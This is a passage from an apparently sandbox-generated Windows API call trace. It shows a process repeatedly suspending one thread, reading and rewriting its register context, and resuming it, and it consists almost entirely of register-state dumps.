Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0118.802] ResumeThread (hThread=0x100) returned 0x1 [0118.803] CloseHandle (hObject=0x100) returned 1 [0118.803] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0119.019] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0119.231] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0119.231] SuspendThread (hThread=0x100) returned 0x0 [0119.232] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10213, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfa90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fba2c20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0119.233] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10213, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfa88, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0119.233] ResumeThread (hThread=0x100) returned 0x1 [0119.233] CloseHandle (hObject=0x100) returned 1 [0119.233] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0119.446] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0119.566] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0119.566] SuspendThread (hThread=0x100) returned 0x0 [0119.566] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfbe0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fbbfffd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0119.571] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfbd8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0119.571] ResumeThread (hThread=0x100) returned 0x1 [0119.571] CloseHandle (hObject=0x100) returned 1 [0119.571] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0119.678] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0119.902] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0119.902] SuspendThread (hThread=0x100) returned 0x0 [0119.902] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fb28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fbcd4c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, 